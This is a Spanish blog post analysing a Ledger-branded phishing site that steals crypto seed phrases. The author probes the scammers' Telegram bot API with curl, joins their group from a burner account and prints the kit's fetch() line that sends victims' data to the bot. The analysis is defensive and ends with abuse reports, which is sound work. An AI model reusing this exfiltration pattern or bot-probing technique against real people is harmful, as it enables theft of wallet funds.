Cripto-estafa postal (II)

Continuo en esta segunda entrega analizando más en profundidad el Chat bot de Telegram y el código fuente de la web. Analizando la respuesta que da la web fraudulenta, se pudo extraer datos relevantes como el Chat_id:

Con la herramienta Curl me decido a extraer más información del bot  de telegram:
Con la orden GetMe a la api de telegram extraemos información básica sobre el Bot:

Con la orden getUpdates devuelve los mensajes recientes, comandos y eventos que el bot ha recibido.

curl -s “https://api.telegram.org/bot<name>:<token>/getUpdates” | jq                                                                                                                                                                                                                                                
{                                                                                                                                                                            
  “ok”: true,                                                                                                                                                                
  “result”: []                                                                                                                                                               
}

Ahora se extrae más información , a partir del chat_id:

curl -s “https://api.telegram.org/bot<TOKEN>/getChat?chat_id=-100XXXXXXX” | jq

Importante la revelación del enlace de invitación al grupo de telegram asociado:

“invite_link”: “https://t.me/+m7*****************”,

para intentar entrar en dicho enlace, tiene que hacerse con sumo cuidado y desde un dispositivo anónimo. En este caso se hace con una nueva tarjeta Sim, y se crea una nueva cuenta de Telegram con el Alias “Jeremy”.

Al abrir el enlace desde el navegador le indicamos que use Telegram Desktop.

Sin confirmación ya soy miembro del grupo “SPA2”

Dentro se ven 4 miembros:

De los cuales dos cuentas se ven eliminadas una es Administrador “Spain2”:

Se vuelve a la web fraudulenta para rellenar de nuevo las palabras semilla y ver si efectivamente la información introducida se envía al Chat de Telegram:

Se hace un submit de la información:

Seguidamente ya se puede ver en el chat de Telegram la información introducida en la web falsa:

Tras hacer la prueba se extrae más info del bot y del chat:
Se vuelve a consultar Getupdates, donde se aprecian los nuevos cambios:

curl -s “https://api.telegram.org/botxxxx:yyyyyyyyyyyyyyyyy/getUpdates”
{“ok”:true,”result”:[{“update_id”:58xxxxx,
“message”:{“message_id”:17,”from”:{“id”:85xxxxxx,”is_bot”:false,”first_name”:”Jeremy”},”chat”:{“id”:100xxxxx,”title”:”SPA2″,”type”:”supergroup”},”date”:1762433263,”new_chat_participant”:{“id”:85xxxxxx,”is_bot”:false,”first_name”:”Jeremy“},”new_chat_member”:{“id”:85xxxxxx,”is_bot”:false,”first_name”:”Jeremy”},”new_chat_members”:[{“id”:85xxxxx,”is_bot”:false,”first_name”:”Jeremy”}]}}]}%

Con la orden getChatAdministrators se puede buscar información acerca de los Administradores:

curl -s “https://api.telegram.org/ botxxxx:yyyyyyyyyyyyyyyyy/getChatAdministrators?chat_id=-100xxxxxxxxxx” | jq
 
{
  “ok”: true,
  “result”: [
    {
      “user”: {
        “id”: 82xxxxx,
        “is_bot”: true,
        “first_name”: “Spain2“,
        “username”: “Spainbotbot2bot”
      },
      “status”: “administrator”,
      “can_be_edited”: false,
      “can_manage_chat”: true,
      “can_change_info”: true,
      “can_delete_messages”: true,
      “can_invite_users”: true,
      “can_restrict_members”: true,
      “can_pin_messages”: true,
      “can_manage_topics”: false,
      “can_promote_members”: true,
      “can_manage_video_chats”: true,
      “can_post_stories”: true,
      “can_edit_stories”: true,
      “can_delete_stories”: true,
      “is_anonymous”: true,
      “can_manage_voice_chats”: true
    },
    {
      “user”: {
        “id”: 107xxxxxxx,
        “is_bot”: false,
        “first_name”: “”
      },
      “status”: “creator”,
      “is_anonymous”: false
    }
  ]
}

Telegram permite dos modos para que un bot reciba mensajes o eventos:

  1. Long polling (getUpdates) → el bot consulta a Telegram periódicamente.
  • Webhook → Telegram envía los mensajes automáticamente a una URL del servidor del atacante.

El método getWebhookInfo sirve para verificar si el bot tiene configurado un webhook activo, y si es así, a qué dirección URL está apuntando.

Webhook:

curl -s “https://api.telegram.org/ botxxxx:yyyyyyyyyyyyyyyyy /getWebhookInfo”
 
{“ok”:true,”result”:{“url”:””,”has_custom_certificate”:false,”pending_update_count”:1}}%

No hay webhook configurado. El bot no envía actualizaciones a un servidor remoto, en su lugar usa getUpdates (long polling). “pending_update_count”: 1 → Hay 1 update pendiente en la cola de Telegram para ese bot, que es justo la prueba hecha recientemente.

Volviendo a la web fraudulenta se puede extraer información relevante:

curl -I https://ledger[.]app-transaction-recheck.com
HTTP/2 302
date: Thu, 13 Nov 2025 09:01:39 GMT
content-type: text/html; charset=UTF-8
server: cloudflare
location: /black/
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
content-security-policy: default-src ‘self’ http: https: data: blob: ‘unsafe-inline’ challenges.cloudflare.com api.telegram.org
cf-cache-status: DYNAMIC
report-to: {“group”:”cf-nel”,”max_age”:604800,”endpoints”:[{“url”:”https://a.nel.cloudflare.com/report/v4?s=IXaofapatE5Asf8yvdexEyIt%2BT9wN70MNXXMEPo6cljnHotxj79AcxHExP3Psa5%2Fj%2FtXYLL%2B5BxISJDtkAz7WlbRDIM%2BjgkrCdcmNCtSSDh6cugrGf2KKKW%2BNsSugia5″}]}
nel: {“report_to”:”cf-nel”,”success_fraction”:0.0,”max_age”:604800}
cf-ray: 99dd15f15e83cfa5-IT
alt-svc: h3=”:443″; ma=86400

El servidor redirige al endpoint /black/ y emplea una política CSP que permite conexiones directas con api.telegram.org.

Esto confirma que la infraestructura del phishing utiliza un bot de Telegram como canal de exfiltración para las frases de recuperación introducidas por las víctimas.

El dominio fue registrado recientemente a través del registrador WebNic (Malasia) y se encuentra protegido por Cloudflare, lo que oculta la IP de origen del servidor malicioso.

La estructura de directorios /black/ coincide con kits de phishing previos asociados a campañas de robo de “wallet seed phrases” vinculadas a la marca Ledger. En el código fuente de la web se ven dos indicadores:

En el PassiveDns de VT en  relación con esa dirección IP aparecen unos cuantos dominios parecidos:

Dentro de los elementos de la web se buscan conexiones a telegram:
grep -nR “telegram” *

animation.js:242:    const response = await fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {

analizando el fichero animation.js se puede ver perfectamente la sección de envío a bot de telegram:


if (!captchaVerified || !captchaToken) {

    alert(‘Proszę potwierdzić CAPTCHA przed wysłaniem formularza.’);

    return;

}

Que está en idioma polaco.

Conclusión:

El análisis revela que el dominio Ledger[.]app-transaction-recheck.com es un phishing activo diseñado para robar frases semilla de wallets de la empresa Ledger.

El formulario web valida el CAPTCHA y envía los datos directamente a un bot de Telegram mediante un token incrustado, sin pasar por servidor intermedio.

El dominio está protegido por Cloudflare y registrado en WebNic (Malasia), lo que oculta su infraestructura real.

El código contiene un mensaje en polaco, lo que sugiere origen o reutilización de un kit creado por desarrolladores de esa región.

En conjunto, se trata de una campaña automatizada internacional que usa Telegram como canal de exfiltración para evadir detección y mantener el anonimato.

Nota:

Tras la investigación el bot ha sido reportado a telegram (https://telegram.org/support) y el dominio a cloudflare (https://abuse.cloudflare.com/phishing)

Referencias:

https://cointelegraph.com/news/data-breach-at-crypto-wallet-firm-ledger-exposes-users-personal-info?

Speak Your Mind

*